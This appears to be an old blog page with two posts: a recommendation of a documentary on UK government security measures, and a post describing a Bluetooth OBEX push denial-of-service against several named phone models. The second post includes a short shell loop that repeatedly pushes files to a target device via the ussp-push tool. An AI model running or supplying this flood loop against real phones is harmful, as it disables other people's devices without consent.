Well worth watching if you are at all interested in security.
Its a documentary on the "Security" measures that the british goverment are putting in place, making you think if they are really a "good thing".
For hard core tech people, features include:
- RFID Exploits (including UK Passports)
- CCTV Security
- Wireless Security
- Mobile Phone exploits
Enjoy!
Bluetooth Obex DoS
cornet — Tue, 2007-01-23 22:09
DoS your mobile phone with lots of Obex pushes. It would seem that most mobiles force you to either accept or deny the push, this disables any other usage of the phone including the ability to turn off bluetooth.
This has apparently been confirmed on the following phones:
- Sony Ericsson K700i
- Nokia N70
- Motorola MOTORAZR V3
- Sony Ericsson W810i
- LG Chocolate KG800
No doubt many other phones are effected.
Attached is the current release of the ussp-push program which uses the Bluez bluetooth stack to do a Obex push.
All that is required is a wrapper script of the form:
while true
do
./ussp-push $MAC@$OCHAN $FILENAME $FILENAME
done
You can work the rest out yourself...
